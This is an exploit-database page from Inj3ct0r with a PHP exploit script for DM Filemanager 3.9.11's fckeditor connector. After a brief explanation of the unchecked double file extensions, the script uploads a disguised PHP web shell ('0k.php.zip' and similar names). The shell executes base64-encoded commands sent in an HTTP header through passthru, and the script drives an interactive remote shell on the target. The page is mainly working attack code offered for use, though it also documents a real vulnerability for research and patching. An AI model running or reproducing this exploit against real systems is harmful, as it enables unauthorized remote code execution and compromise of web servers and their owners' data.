DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit
<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>===============================================================
DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit
===============================================================
<?php
/*
—————————————————————–
DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit
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1 /’ __ /’__` / __ /’__` 0
0 /_, ___ /_/_ ___ ,_/ / _ ___ 1
1 /_/ /’ _ ` / /_/__<_ /’___ / /`’__ 0
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1 _ _ __ ____/ ____\ __\ ____/ _ 0
0 /_//_//_/ _ /___/ /____/ /__/ /___/ /_/ 1
1 ____/ >> Exploit database separated by exploit 0
0 /___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ######################################## 1
0 I’m eidelweiss member from Inj3ct0r Team 1
1 ######################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Vendor: www.dutchmonkey.com
Download : http://www.dutchmonkey.com/?file=downloads.html&label=Downloads
exploited by ..: eidelweiss
Affected: version 3.9.11
details..: works with an Apache server with the mod_mime module installed (if specific)
[-] vulnerable code in /path/fckeditor/editor/filemanager/connectors/php/config.php
[*] // SECURITY: You must explicitly enable this "connector". (Set it to "true").
[*]
[*] $Config['Enabled'] = true ;
[*]
[*] // Path to user files relative to the document root.
[*] $Config['UserFilesPath'] = ‘/userfiles/’ ;
[*]
[*] // Fill the following value it you prefer to specify the absolute path for the
[*] // user files directory. Usefull if you are using a virtual directory, symbolic
[*] // link or alias. Examples: ‘C:\MySite\UserFiles\’ or ‘/root/mysite/UserFiles/’.
[*] // Attention: The above ‘UserFilesPath’ must point to the same directory.
[*]
[*]
[*] $Config['AllowedExtensions']['File'] = array(‘7z’, ‘aiff’, ‘asf’, ‘avi’, ‘bmp’, ‘csv’, ‘doc’, ‘fla’, ‘flv’, ‘gif’, ‘gz’, [....]
[*] $Config['DeniedExtensions']['File'] = array() ;
[*]
[*] $Config['AllowedExtensions']['Image'] = array(‘bmp’,'gif’,'jpeg’,'jpg’,'png’) ;
[*] $Config['DeniedExtensions']['Image'] = array() ;
[*]
[*] $Config['AllowedExtensions']['Flash'] = array(’swf’,'flv’) ;
[*] $Config['DeniedExtensions']['Flash'] = array() ;
[*]
[*] $Config['AllowedExtensions']['Media'] = array(‘aiff’, ‘asf’, ‘avi’, ‘bmp’, ‘fla’, ‘flv’, ‘gif’, ‘jpeg’, ‘jpg’, ‘mid’, ‘mov’, ‘mp3′, ‘mp4′, ‘mpc’, ‘mpeg’, ‘mpg’, ‘png’, ‘qt’, ‘ram’, ‘rm’, ‘rmi’, ‘rmvb’, ’swf’, ‘tif’, ‘tiff’, ‘wav’, ‘wma’, ‘wmv’) ;
[*] $Config['DeniedExtensions']['Media'] = array() ;
with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn’t properly checked
*/
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "n[-] No response from {$host}:80 Trying again…";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
function upload()
{
global $host, $path;
$connector = "/fckeditor/editor/filemanager/connectors/php/config.php";
$file_ext = array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv");
foreach ($file_ext as $ext)
{
print "n[-] Trying to upload with .{$ext} extension…";
$data = "–abcdefrn";
$data .= "Content-Disposition: form-data; name="NewFile"; filename="0k.php.{$ext}"rn";
$data .= "Content-Type: application/octet-streamrnrn";
$data .= "<?php ${print(_code_)}.${passthru(base64_decode($_SERVER[HTTP_CMD]))}.${print(_code_)} ?>rn";
$data .= "–abcdef–rn";
$packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Content-Length: ".strlen($data)."rn";
$packet .= "Content-Type: multipart/form-data; boundary=abcdefrn";
$packet .= "Connection: closernrn";
$packet .= $data;
preg_match("/OnUploadCompleted((.*),’(.*)’)/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die("n[-] Upload failed! (Error {$html[1]}: {$html[2]})n");
$packet = "GET {$path}0k.php.{$ext} HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Connection: closernrn";
$html = http_send($host, $packet);
if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
sleep(1);
}
return false;
}
print "n+————————————————————————–+";
print "n| DM Filemanager (fckeditor) Remote Arbitrary File Upload Exploit |";
print "n+————————————————————————–+n";
if ($argc < 3)
{
print "nUsage……: php $argv[0] host pathn";
print "nExample….: php $argv[0] localhost /";
print "nExample….: php $argv[0] localhost /dm-filemanager/n";
die();
}
$host = $argv[1];
$path = $argv[2];
if (!($ext = upload())) die("nn[-] Exploit failed…n");
else print "n[-] Shell uploaded…starting it!n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "dm-filemanager-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}0k.php.{$ext} HTTP/1.0rn";
$packet.= "Host: {$host}rn";
$packet.= "Cmd: ".base64_encode($cmd)."rn";
$packet.= "Connection: closernrn";
$html = http_send($host, $packet);
if (!eregi("_code_", $html)) die("n[-] Exploit failed…n");
$shell = explode("_code_", $html);
print "n{$shell[1]}";
}
else break;
}
?>
# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-24]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13460
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